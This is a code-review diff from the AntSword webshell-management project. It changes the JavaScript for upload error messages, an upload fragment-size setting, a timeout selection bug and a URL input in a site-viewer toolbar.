if (err.hasOwnProperty('status') && err.hasOwnProperty('response')) {
errmsg = `${err.status} ${err.response.res.statusMessage}`;
switch(err.status) {
case 413:
errmsg += `${LANG['upload']['task']['httperr_413']}`;
break;
default:
break;
}
}else if(err.hasOwnProperty('errno')) {
switch(err.errno) {
case 'ETIME':
errmsg = `${LANG['upload']['task']['httperr_etime']}`;
break;
case 'ECONNREFUSED':
errmsg = `${LANG['upload']['task']['httperr_econnrefused']}`;
break;
default:
errmsg = `${err.errno} ${err.code}`;
break;
}
}
task.failed(LANG['upload']['task']['error'](errmsg));
toastr.error(LANG['upload']['error'](fileName, errmsg), LANG_T['error']);
}); });
}) })
} }
......
...@@ -20,7 +20,8 @@ class About { ...@@ -20,7 +20,8 @@ class About {
<h2>${LANG['header']}<span> v${antSword['package']['version']}</span></h2> <h2>${LANG['header']}<span> v${antSword['package']['version']}</span></h2>
<p> <p>
<a href="https://github.com/AntSwordProject/AntSword"><i class="fa fa-github-alt"></i> GitHub</a> / <a href="https://github.com/AntSwordProject/AntSword"><i class="fa fa-github-alt"></i> GitHub</a> /
<a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> <a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> /
<a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i> ${LANG['discord']}</a>
</p> </p>
</div> </div>
`); `);
......
...@@ -278,6 +278,7 @@ class Form { ...@@ -278,6 +278,7 @@ class Form {
'ignore-https': 0, 'ignore-https': 0,
'terminal-cache': 0, 'terminal-cache': 0,
'filemanager-cache': 1, 'filemanager-cache': 1,
'upload-fragment': '500',
'request-timeout': '10000', 'request-timeout': '10000',
'command-path': '' 'command-path': ''
}, arg.otherConf); }, arg.otherConf);
...@@ -294,7 +295,28 @@ class Form { ...@@ -294,7 +295,28 @@ class Form {
}, { }, {
type: "checkbox", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'], type: "checkbox", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'],
checked: opt['filemanager-cache'] === 1 checked: opt['filemanager-cache'] === 1
},{ }, {
type: "label", label: LANG['list']['otherConf']['uploadFragment']
}, {
type: "combo", label: '/kb', inputWidth: 100, name: "upload-fragment",
options: ((items) => {
let ret = [];
// 如果自定义的路径不在items里,则++
if (items.indexOf(opt['upload-fragment']) === -1) {
items.unshift(opt['upload-fragment']);
}
items.map((_) => {
ret.push({
text: _,
value: _,
selected: opt['upload-fragment'] === _
})
});
return ret;
})([
'500', '400', '200', '100', '50', '10'
])
}, {
type: "label", label: LANG['list']['otherConf']['requestTimeout'] type: "label", label: LANG['list']['otherConf']['requestTimeout']
}, { }, {
type: "combo", label: '/ms', inputWidth: 100, name: "request-timeout", type: "combo", label: '/ms', inputWidth: 100, name: "request-timeout",
...@@ -308,7 +330,7 @@ class Form { ...@@ -308,7 +330,7 @@ class Form {
ret.push({ ret.push({
text: _, text: _,
value: _, value: _,
selected: opt['command-path'] === _ selected: opt['request-timeout'] === _
}) })
}); });
return ret; return ret;
......
...@@ -41,7 +41,7 @@ class ViewSite { ...@@ -41,7 +41,7 @@ class ViewSite {
}, 1000); }, 1000);
// 打开浏览窗口 // 打开浏览窗口
this._loadURL(opts.url); // this._loadURL(opts.url);
} }
/** /**
...@@ -51,9 +51,10 @@ class ViewSite { ...@@ -51,9 +51,10 @@ class ViewSite {
_initToolbar() { _initToolbar() {
const toolbar = this.cell.attachToolbar(); const toolbar = this.cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([
{ id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save }, { id: 'url', width: 400, type: 'buttonInput', value: this.opts.url || 'loading..' },
{ type: 'separator' },
{ id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view }, { id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view },
{ type: 'separator' },
{ id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save },
]); ]);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
switch(id) { switch(id) {
...@@ -61,9 +62,18 @@ class ViewSite { ...@@ -61,9 +62,18 @@ class ViewSite {
this._saveCookie(); this._saveCookie();
break; break;
case 'view': case 'view':
this._loadURL(this.opts.url); let url = toolbar.getInput('url').value;
this._loadURL(url);
} }
}) });
toolbar.attachEvent('onEnter', (id, value) => {
switch(id) {
case 'url':
let url = toolbar.getInput('url').value;
this._loadURL(url);
break;
}
});
return toolbar; return toolbar;
} }
...@@ -159,7 +169,7 @@ class ViewSite { ...@@ -159,7 +169,7 @@ class ViewSite {
webPreferences: { webPreferences: {
nodeIntegration: false, nodeIntegration: false,
}, },
title: this.opts.url title: url
}); });
win.loadURL(url); win.loadURL(url);
win.show(); win.show();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment